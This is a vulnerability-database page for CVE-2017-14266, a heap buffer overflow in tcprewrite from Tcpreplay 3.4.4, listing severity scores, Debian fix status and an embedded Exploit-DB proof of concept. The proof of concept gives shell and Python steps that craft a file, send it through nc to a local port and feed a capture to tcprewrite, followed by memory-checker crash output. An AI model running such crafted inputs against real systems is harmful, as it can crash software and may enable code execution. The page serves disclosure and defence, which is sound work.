CVE-2017-14266

high

Published 2017-09-12 · Modified 2026-05-13

💬 Discuss on Community ✚ Propose mitigation

CVSS v3

7.8

CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

CVSS v4 NEW

—

not yet in upstream

VIR risk

8.8

Description

tcprewrite in Tcpreplay 3.4.4 has a Heap-Based Buffer Overflow vulnerability triggered by a crafted PCAP file, a related issue to CVE-2016-6160.

Predictions

Exploit likelihood

75%

Patch ETA

—

Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or — if you've already worked around this in production — publish your fix to the community-verified tier.

✚ Propose a mitigation on Community → Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here with source_tier=community-verified.

Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-42652 dos linux text · 6 KB

FarazPajohan · 2017-09-11

tcprewrite - Heap Buffer Overflow

text exploit Source: Exploit-DB

################
#Title: tcprewrite Heap-Based Buffer Overflow
#CVE: CVE-2017-14266
#CWE: CWE-122
#Exploit Author: Hosein Askari(FarazPajohan)
#Vendor HomePage: http://tcpreplay.synfin.net/
#Product Description: When you want to give a PCAP file to someone, it gives away certain sensitive information such as an organizations internal IP range,
IP addresses of sensitive company assets, MAC addresses of critical hardware that could identify the product vendors. Tcprewrite is a security tool to rewrite packets stored
in PCAP file format, such as created by tools such as tcpdump and ethereal.
#Version : 3.4.4 Released under the Free BSD License
#Tested on: Ubuntu 16.04 (Linux 4.4.0-93-generic)
#Date: 11-09-2017
#Category: Application
#Author Mail : hosein.askari@aol.com
#Description: tcprewrite in Tcpreplay 3.4.4 has a Heap-Based Buffer Overflow vulnerability triggered by a crafted PCAP file can cause a memory corruption and potential code execution.
###############
#First we make a crafted file and send it to the network and capture its information by wireshark.
~Step 1:
sudo echo -ne '\x63\x72\x61\x66\x74\x65\x64\x20\x66\x69\x6c\x65\x20\x69\x73\x20\x6d\x61\x64\x65\x20\x62\x79\x20\x48\x6f\x73\x65\x69\x6e\x20\x41\x73\x6b\x61\x72\x69' | dd conv=notrunc bs=1000 seek=200 of=tcp3.txt
~Step 2(Sending the information and capturing by wireshark):
import os
for i in range(1,20):
        os.system("cat tcp3.txt | nc 127.0.0.1 21")
~Step 3(Using tcprewrite):
sudo  tcprewrite --portmap=21:2121 --infile=tcp.pcap --outfile=output.pcap
################
#POC:
constantine@constantine:~/Downloads/DrMemory-Linux-1.11.0-2/bin$ sudo ./drmemory -- tcprewrite --portmap=21:2121 --infile=tcp.pcap --outfile=output.pcap
~~Dr.M~~ Dr. Memory version 1.11.0
~~Dr.M~~ WARNING: application is missing line number information.
~~Dr.M~~
~~Dr.M~~ Error #1: UNADDRESSABLE ACCESS beyond heap bounds: writing 0x080d458f-0x080d4590 1 byte(s) within 0x080d458c-0x080d4590
~~Dr.M~~ # 0 replace_memcpy               [/work/drmemory_package/drmemory/replace.c:246]
~~Dr.M~~ # 1 tcprewrite!?                +0x0      (0x0804ae59 <tcprewrite+0x2e59>)
~~Dr.M~~ # 2 tcprewrite!?                +0x0      (0x08049f91 <tcprewrite+0x1f91>)
~~Dr.M~~ # 3 tcprewrite!?                +0x0      (0x0804a1a1 <tcprewrite+0x21a1>)
~~Dr.M~~ Note: @0:00:01.045 in thread 2521
~~Dr.M~~ Note: next higher malloc: 0x080d45b0-0x080e45af
~~Dr.M~~ Note: instruction: mov    %eax -> (%ebx)
~~Dr.M~~
~~Dr.M~~ Error #2: UNADDRESSABLE ACCESS beyond heap bounds: writing 0x080d459c-0x080d459d 1 byte(s)
~~Dr.M~~ # 0 replace_memcpy               [/work/drmemory_package/drmemory/replace.c:252]
~~Dr.M~~ # 1 tcprewrite!?                +0x0      (0x0804ae59 <tcprewrite+0x2e59>)
~~Dr.M~~ # 2 tcprewrite!?                +0x0      (0x08049f91 <tcprewrite+0x1f91>)
~~Dr.M~~ # 3 tcprewrite!?                +0x0      (0x0804a1a1 <tcprewrite+0x21a1>)
~~Dr.M~~ Note: @0:00:01.047 in thread 2521
~~Dr.M~~ Note: next higher malloc: 0x080d45b0-0x080e45af
~~Dr.M~~ Note: instruction: mov    %dl -> (%eax)
~~Dr.M~~
~~Dr.M~~ Error #3: UNADDRESSABLE ACCESS beyond heap bounds: reading 0x080d458f-0x080d4591 2 byte(s) within 0x080d458d-0x080d4591
~~Dr.M~~ # 0 libc.so.6!__GI___mempcpy              [../sysdeps/i386/i686/multiarch/../mempcpy.S:54]
~~Dr.M~~ # 1 libc.so.6!__GI__IO_default_xsputn     [/build/glibc-KM3i_a/glibc-2.23/libio/genops.c:438]
~~Dr.M~~ # 2 libc.so.6!_IO_new_file_xsputn         [/build/glibc-KM3i_a/glibc-2.23/libio/fileops.c:1352]
~~Dr.M~~ # 3 libc.so.6!__GI__IO_fwrite             [/build/glibc-KM3i_a/glibc-2.23/libio/iofwrite.c:39]
~~Dr.M~~ # 4 libpcap.so.0.8!pcap_dump             +0x5f     (0xb79f1100 <libpcap.so.0.8+0x1d100>)
~~Dr.M~~ # 5 tcprewrite!?                         +0x0      (0x0804adc6 <tcprewrite+0x2dc6>)
~~Dr.M~~ # 6 tcprewrite!?                         +0x0      (0x08049f91 <tcprewrite+0x1f91>)
~~Dr.M~~ # 7 tcprewrite!?                         +0x0      (0x0804a1a1 <tcprewrite+0x21a1>)
~~Dr.M~~ Note: @0:00:01.071 in thread 2521
~~Dr.M~~ Note: next higher malloc: 0x080d45b0-0x080e45af
~~Dr.M~~ Note: instruction: rep movs %ds%esi) %esi %edi %ecx -> %es%edi) %esi %edi %ecx
~~Dr.M~~
~~Dr.M~~ Error #4: LEAK 8 direct bytes 0x080c3168-0x080c3170 + 0 indirect bytes
~~Dr.M~~ # 0 replace_malloc               [/work/drmemory_package/common/alloc_replace.c:2576]
~~Dr.M~~ # 1 tcprewrite!?                +0x0      (0x08059e6c <tcprewrite+0x11e6c>)
~~Dr.M~~ # 2 tcprewrite!?                +0x0      (0x0804ea21 <tcprewrite+0x6a21>)
~~Dr.M~~ # 3 tcprewrite!?                +0x0      (0x0804c264 <tcprewrite+0x4264>)
~~Dr.M~~ # 4 tcprewrite!?                +0x0      (0x08049e0c <tcprewrite+0x1e0c>)
~~Dr.M~~ # 5 tcprewrite!?                +0x0      (0x0804a1a1 <tcprewrite+0x21a1>)
<Application /usr/bin/tcprewrite (2521).  Dr. Memory internal crash at PC 0x7384d6d5.  Please report this at http://drmemory.org/issues.  Program aborted.
Received SIGSEGV at client library pc 0x7384d6d5 in thread 2521
Base: 0xb7e25000
Registers:eax=0x00000000 ebx=0x73934a30 ecx=0x00000002 edx=0x739355c0
esi=0x4b200ba8 edi=0x00000006 esp=0x4a0c6814 ebp=0x00000000
eflags=0x000102
1.11.0-2-(Aug 29 2016 02:45:30)0
-no_dynamic_options -disasm_mask 8 -logdir '/home/constantine/Downloads/DrMemory-Linux-1.11.0-2/drmemory/logs/dynamorio' -client_lib '/home/constantine/Downloads/DrMemory-Linux-1.11.0-2/bin/release/libdrmemorylib.so;0;-logdir `/home/constantine/Downloads/DrMemory-Linux-1.11.0-2/drmemory/logs` -symcache_dir `/home/constan
/home/constantine/Downloads/DrMemory-Linux-1.11.0-2/bin/release/libdrmemorylib.so=0x73800000
/usr/lib/i386-linux-gnu/libstdc++.so.6=0xb7c84000
/lib/i386-linux-gnu/libgcc_s.so.1=0xb7a33000
/lib/i386-linux-gnu/libm.so.6=0xb7c2e000
/lib/i386-linux-gnu/libc.so.6=0xb7a77000
/lib/ld-linux.so.2=0xb7a51000>

OS impact

Debian Fixed 5 releases

Version	Status	Fixed in
trixie	Fixed	`3.4.4-3`
sid	Fixed	`3.4.4-3`
forky	Fixed	`3.4.4-3`
bullseye	Fixed	`3.4.4-3`
bookworm	Fixed	`3.4.4-3`

Application impact

Vendor	Product	Versions	Fixed
broadcom	tcpreplay	`3.4.4`

References

CWEs

CWE-119

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.